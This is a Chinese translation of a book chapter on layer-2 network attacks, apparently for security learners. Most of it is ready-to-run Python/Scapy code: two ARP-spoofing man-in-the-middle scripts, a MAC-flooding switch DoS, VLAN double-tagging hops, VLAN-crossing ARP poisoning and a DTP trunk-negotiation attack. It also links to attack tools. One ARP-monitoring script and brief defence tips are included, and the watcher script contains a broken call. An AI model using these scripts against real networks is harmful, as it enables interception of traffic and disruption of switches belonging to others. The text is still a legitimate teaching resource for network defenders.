本章節節選翻譯自《Understanding Network Hacks: Attack and Defense with Python》中的第四章Layer 2 Attacks。該書通過網絡層次劃分介紹漏洞,并使用Python
編寫相關利用工具進行網絡攻防,每小節均按照“原理--代碼--解釋--防御
”的結構行文,此書也可與《Python黑帽子:黑客與滲透測試編程之道》相互參照學習,相信會達到較好的效果呦。另譯者水平有限,如有錯誤還請指正與海涵。
在本章第二層攻擊當中,我們將進入網絡hacking
的奇幻之旅。讓我們回顧一下,第二層是負責在以太網中,使用MAC地址來發送數據包。除了ARP
攻擊,我們將探討交換機是如何應對DOS
攻擊的,以及如何逃逸出VLAN
環境。
在Python
中,你不必在意原始套接字或網絡字節順序,借由Philippe Biondi
編寫的Scapy
,具有世界上最好的數據包生成器,你可以輕松地定制數據包。既不像在Libnet
和C
中那樣需要指針運算,也不像在RawIP
和Perl
中,或者是在Scruby
和Ruby
中,你會被有限的幾種協議所束縛。Scapy
可以構造從ARP
到IP/ICMP
,再到TCP/UDP
和DNS/DHCP
等所有OSI
層上的數據包,甚至是更不常見的協議也同樣被支持,比如BOOTP
, GPRS
, PPPoE
, SNMP
, Radius
, Infrared
, L2CAP/HCI
, EAP
。
現在讓我們在第二層網絡上,使用Scapy
來制造一些麻煩吧!首先你需要用如下的命令安裝它:
pip install Scapy
現在你將步入經典著名的中間人攻擊!
如果一臺主機想要發送IP
數據包到另一臺主機,就必須預先通過使用ARP
協議請求目的MAC
地址。這個詢問會向網絡中的所有成員廣播。在一個完美的世界中,只有應答的主機是所需的目的主機。在一個不那么完美的世界中,攻擊者會每隔幾秒向它的受害者發送一個ARP
應答報文,但是是以它自己的MAC
地址作為響應,從而重定向該連接到其自身。因為大多數的操作系統都接受它們從未詢問過的應答報文,所以該攻擊才會生效!
#!python
#!/usr/bin/python
import sys
import time
from scapy.all import sendp, ARP, Ether
if len(sys.argv) < 3:
print sys.argv[0] + ": <target> <spoof_ip>"
sys.exit(1)
iface = "eth0"
target_ip = sys.argv[1]
fake_ip = sys.argv[2]
ethernet = Ether()
arp = ARP(pdst=target_ip,
psrc=fake_ip,
op="is-at")
packet = ethernet / arp
while True:
sendp(packet, iface=iface)
time.sleep(10)
在Scapy
的幫助下,我們構造了一個名為packet
的數據包,里面包括一個Ethernet()及一個ARP()頭。在ARP頭部中,我們設置了受害者的IP地址(target_ip
)和我們想劫持所有連接的IP地址(fake_ip
)。對于最后一個參數,我們設置OP-Code為is-at
,聲明該數據包為一個ARP響應。然后sendp()
函數在每次發送數據包時,都等待10秒并一直循環發送下去。
需要注意的是,你必須使用sendp()
函數而不是send()
函數,因為數據包應該在第二層被發送。send()
則是在第三層發送數據包。
最后,要記得啟用IP轉發,否則你的主機會阻塞來自受害者的連接。
sysctl net.ipv4.ip_forward=1
不要忘記檢查像IPtables
這樣的數據包過濾器的設置,使用pf
或ipfw
或直接禁用它,現在已經了解了足夠多的枯燥的理論知識,讓我們直接進入一些實用的Python
代碼吧!
如果你只是用fake_ip
來處理客戶端的ARP
緩存,那么你只會得到客戶端的數據包,而無法接收到服務端的響應。如下圖所示。
如下圖所示,要強制通過攻擊者的主機進行雙向連接,攻擊者就必須使用他的MAC
地址,來偽造客戶端和服務端的相關目的地址。
我們的第一段代碼有些粗糙,它發送了大量的ARP
報文,不僅產生了所需要的流量,而且也比較暴露。隱蔽的攻擊者會采取另一種策略。
一臺主機如果想要獲取有關IP
地址的信息,會發出一個ARP
請求。我們將編寫一個程序,等待ARP
請求,并為每一個接收到的請求發送一個ARP
欺騙響應。在交換環境中,這將導致每一個連接都會流經攻擊者的主機,因為在ARP
緩存中,每一個IP
地址都會有攻擊者的MAC
地址。這個攻擊更加優雅,不像之前的那個那么嘈雜,但還是很容易被一個訓練有素的管理員檢測到。
如下圖所示,欺騙性的響應數據包和真實主機的響應數據包被并行發送。誰的數據包先被受害者的網卡接收到,則誰獲勝。
#!python
#!/usr/bin/python
import sys
from scapy.all import sniff, sendp, ARP, Ether
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
def arp_poison_callback(packet):
# Got ARP request?
if packet[ARP].op == 1:
answer = Ether(dst=packet[ARP].hwsrc) / ARP()
answer[ARP].op = "is-at"
answer[ARP].hwdst = packet[ARP].hwsrc
answer[ARP].psrc = packet[ARP].pdst
answer[ARP].pdst = packet[ARP].psrc
print "Fooling " + packet[ARP].psrc + " that " + \
packet[ARP].pdst + " is me"
sendp(answer, iface=sys.argv[1])
sniff(prn=arp_poison_callback,
filter="arp",
iface=sys.argv[1],
store=0)
從參數iface
指定的網卡中,sniff()
函數無限循環地讀取數據包。將PACP
過濾器設置為arp
,使接收到的數據包都被自動過濾,來保證我們的回調函數arp_poison_callback
在被調用時,只有ARP
數據包作為輸入。同時由于參數store=0
,數據包將不會被存儲。
arp_poison_callback()
函數處理我們的實際工作。首先,它會檢查ARP
報文的OP code
:當它是1時則為一個ARP
請求,然后我們來生成一個響應包,在響應數據包中,我們將請求包中的源MAC
地址和IP
地址作為目的MAC
地址和IP
地址。因為我們未定義源MAC
地址,所以Scapy
會自動插入發送數據包的網絡接口地址。
ARP
中IP
與MAC
地址的對應關系會被緩存一段時間,因為它會被轉儲起來,對同一地址一遍又一遍地進行解析。可以用如下命令顯示ARP
緩存:
arp -an
? (192.168.13.5) at c0:de:de:ad:be:ef [ether] on eth0
這依賴于操作系統和它的版本,本地配置設置及地址被緩存的時間。
為了抵御ARP
欺騙攻擊,一方面可以使用ARP
靜態表,但是這同樣可以被接收到的ARP
響應所覆蓋,這些均依賴于操作系統對ARP
的處理代碼。另一方面也可以使用像ARP watcher
這樣的工具。ARP watcher
監控ARP
流量,并報告可疑行為但并不阻止。現在最先進的入侵檢測系統可以檢測到ARP緩存中毒攻擊。你應該使用上面的代碼,檢查一下你的IDS
,看看它是如何表現的。
接下來我們編寫一個小工具,來報告所有新連接到我們網絡的設備,為此它必須能夠記住所有IP
和MAC
地址的對應關系。此外,它還可以檢測出一個網絡設備是否突然更改了它的MAC
地址。
#!python
#!/usr/bin/python
from scapy.all import sniff, ARP
from signal import signal, SIGINT
import sys
arp_watcher_db_file = "/var/cache/arp-watcher.db"
ip_mac = {}
# Save ARP table on shutdown
def sig_int_handler(signum, frame):
print "Got SIGINT. Saving ARP database..."
try:
f = open(arp_watcher_db_file, "w")
for (ip, mac) in ip_mac.items():
f.write(ip + " " + mac + "\n")
f.close()
print "Done."
except IOError:
print "Cannot write file " + arp_watcher_db_file
sys.exit(1)
def watch_arp(pkt):
# got is-at pkt (ARP response)
if pkt[ARP].op == 2:
print pkt[ARP].hwsrc + " " + pkt[ARP].psrc
# Device is new. Remember it.
if ip_mac.get(pkt[ARP].psrc) == None:
print "Found new device " + \
pkt[ARP].hwsrc + " " + \
pkt[ARP].psrc
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
# Device is known but has a different IP
elif ip_mac.get(pkt[ARP].psrc) and \
ip_mac[pkt[ARP].psrc] != pkt[ARP].hwsrc:
print pkt[ARP].hwsrc + \
" has got new ip " + \
pkt[ARP].psrc + \
" (old " + ip_mac[pkt[ARP].psrc] + ")"
ip_mac[pkt[ARP].psrc] = pkt[ARP].hwsrc
signal(SIGINT, sig_int_handler)
if len(sys.argv) < 2:
print sys.argv[0] + " <iface>"
sys.exit(0)
try:
fh = open(arp_watcher_db_file, "r")
except IOError:
print "Cannot read file " + arp_watcher_db_file
sys.exit(1)
for line in fh:
line.chomp()
(ip, mac) = line.split(" ")
ip_mac[ip] = mac
sniff(prn=watch_arp,
filter="arp",
iface=sys.argv[1],
store=0)
開始我們定義了一個信號處理函數sig_int_handler()
,當用戶中斷程序時該函數會被調用。該函數會在ip_mac
字典中,將所有已知的IP
和MAC
地址對應關系保存到一個文件當中。一開始我們讀取這些ARP db
文件,用目前已知的所有對應關系來初始化程序,若文件無法讀取則退出。然后我們將文件內容一行一行地循環讀取,把每一行分割為IP
和MAC
地址,將它們保存到 ip_mac
字典中。我們再調用已知的sniff()
函數,對每一個接收到的ARP
數據包,調用回調函數watch_arp
。
watch_arp
函數是整個程序中的核心邏輯部分。當嗅探到的數據包是is-at
數據包時,則該數據包為一個ARP
響應。緊接著我們首先檢查IP是否存在于ip_mac
字典中。如果我們沒有發現對應條目,則其為一個新設備,并在屏幕上顯示一條信息。否則我們將數據包中的MAC
地址與字典中的MAC
相比較,如果不同則響應很可是偽造的,我們也在屏幕上顯示一條消息。在這兩種情況下,都會用新的信息來更新字典。
交換機和其他計算機一樣,具有有限的內存,交換機中存放MAC
地址信息的表格也同樣如此,該表格記錄哪個MAC
地址對應哪個端口及其內部的ARP
緩存。當交換機的緩沖區溢出時,它們的反應就會有些古怪。這將會導致交換機拒絕服務,以至于放棄交換行為而變得像正常的集線器。在集線器模式下,整體的高流量不會是你遇到的唯一問題,因此在沒有附加操作下,所有已連接的計算機都會接收到完整的流量。你應該測試一下的你的交換機在這種意外情況下是如何反應的,接下來的腳本就可以做到這一點。它會產生隨機的MAC
地址,并將它們發送到你的交換機中,直到交換機的緩沖區被填滿。
#!python
#!/usr/bin/python
import sys
from scapy.all import *
packet = Ether(src=RandMAC("*:*:*:*:*:*"),
dst=RandMAC("*:*:*:*:*:*")) / \
IP(src=RandIP("*.*.*.*"),
dst=RandIP("*.*.*.*")) / \
ICMP()
if len(sys.argv) < 2:
dev = "eth0"
else:
dev = sys.argv[1]
print "Flooding net with random packets on dev " + dev
sendp(packet, iface=dev, loop=1)
RandMAC
和RandIP
負責隨機地產生地址當中的每一個字節。其余的則由sendp()
函數的循環參數完成。
因為VLAN
不具備安全特性,一方面標記VLAN
取決于包含VLAN id
的數據包頭部,使用Scapy
可以很容易創建這樣的數據包。現在讓我們的電腦連接到VLAN1
,并且嘗試去ping VLAN2
上的其他主機。
#!python
#!/usr/bin/python
from scapy.all import *
packet = Ether(dst="c0:d3:de:ad:be:ef") / \
Dot1Q(vlan=1) / \
Dot1Q(vlan=2) / \
IP(dst="192.168.13.3") / \
ICMP()
sendp(packet)
首先我們設定在數據包的頭部當中,包含我們的VLAN
標記,再加上一個目的主機地址。交換機將會移除第一個標記,并不決定如何處理該數據包,當它看到第二個標記VLAN id 2
的時候,則決定轉發到這個vlan
。如果交換機連接到其他通過堆疊啟用的VLAN
交換機,這種攻擊只會是成功的,否則它們就是使用的基于端口的VLAN
。
Linux
可以運行在許多嵌入式網絡設備上;因此憑借Linux
操作系統,人們可以把自己的電腦變成一臺功能齊全的VALN
交換機,這并不令人驚奇。你只需要vconfig
這種工具就夠了。在根據你的操作系統安裝所需的數據包后,通過以下的命令,你可以將你的主機加入到另一個VLAN
環境中。
vconfig add eth0 1
然后你必須記住啟動新設備,并給它一個VLAN
網絡中的IP
地址。
ifconfig eth0.1 192.168.13.23 up
VLAN
會限制對同一VLAN
的端口的廣播流量,因此我們不能在默認情況下應對所有的ARP
請求,就像在第一個ARP spoofing
例子中看到的那樣,必須每隔幾秒就向受害者告訴我們的MAC
地址。除了我們對每個數據包進行了標記和加之的目的VLAN
,下面的代碼是通用的。
#!python
#!/usr/bin/python
import time
from scapy.all import sendp, ARP, Ether, Dot1Q
iface = "eth0"
target_ip = '192.168.13.23'
fake_ip = '192.168.13.5'
fake_mac = 'c0:d3:de:ad:be:ef'
our_vlan = 1
target_vlan = 2
packet = Ether() / \
Dot1Q(vlan=our_vlan) / \
Dot1Q(vlan=target_vlan) / \
ARP(hwsrc=fake_mac,
pdst=target_ip,
psrc=fake_ip,
op="is-at")
while True:
sendp(packet, iface=iface)
time.sleep(10)
幸運的是,防御這種類型的VLAN
攻擊并沒有那么復雜:如果你真的想分離你的網絡,只需要使用物理劃分的交換機!
DTP
(動態中繼協議)是一種由思科發明的專有協議,用于如果一個端口是trunk
端口,則交換機之間可以動態地交流。Trunk
端口通常用于互連交換機和路由器,以便共享一些或所有已知的VLAN
。
為了能夠執行下面的代碼,你需要安裝Scapy
的開發版本。同時為了check out
出源,請先安裝Mercurial
,然后鍵入以下命令來克隆Scapy repository
。
hg clone http://hg.secdev.org/scapy scapy
如果你想跟蹤Scapy
的最新版本,你只需要時不時地更新checkout
。
cd scapy
hg pull
現在你可以將舊版本的Scapy
變成最新版的了。
pip uninstall Scapy
cd scapy
python setup.py install
多虧了DTP
協議,和它完全忽視任何一種安全的屬性,我們現在就可以發送一個動態可取包到每一個啟用DTP的思科設備,并要求它將我們的端口轉變為trunk
端口。
#!python
#!/usr/bin/python
import sys
from scapy.layers.l2 import Dot3 , LLC, SNAP
from scapy.contrib.dtp import *
if len(sys.argv) < 2:
print sys.argv[0] + " <dev>"
sys.exit()
negotiate_trunk(iface=sys.argv[1])
作為一個可選參數,你可以設置欺騙相鄰交換機的MAC
地址,如果沒有設置,則會自動生成一個隨機值。
這種攻擊可能會持續幾分鐘,但是攻擊者并不關心延遲,因為他們知道在改變連接到每一個VLAN
的可能性之后他們會得到什么!
vconfig add eth0 <vlan-id>
ifconfig eth0.<vlan-id> <ip_of_vlan> up
沒有足夠好的理由來使用DTP
,所以干脆禁用掉它吧!
NetCommander
NetCommander
是一個簡單的ARP
欺騙程序。它通過對每一個可能的IP
發送ARP
請求,來搜索網絡上存活的主機。你可以選擇需要劫持的連接,然后每隔幾秒,NetCommander
就會自動地欺騙那些主機和默認網關之間的雙向連接。
工具的源代碼可以從這里下載:https://github.com/evilsocket/NetCommander
Hacker’s Hideaway ARP Attack Tool
Hacker’s Hideaway ARP Attack Tool
比NetCommander
的功能多一些。除了欺騙特殊連接,它還支持被動欺騙所有對源IP
的ARP
請求,和MAC
泛洪攻擊。
工具的下載鏈接為:https://packetstormsecurity.org/files/81368/hharp.py.tar.bz2
Loki
Loki
是一種像Yersinia
的第二層和第三層攻擊工具。它可以通過插件來擴展,也有一個漂亮的GUI
界面。它實現了像ARP
欺騙和泛洪,BGP
,RIP
路由注入之類的攻擊,甚至可以攻擊像HSRP和VRRP那樣非常罕見的協議。
工具的源代碼地址為:https://www.c0decafe.de/loki.html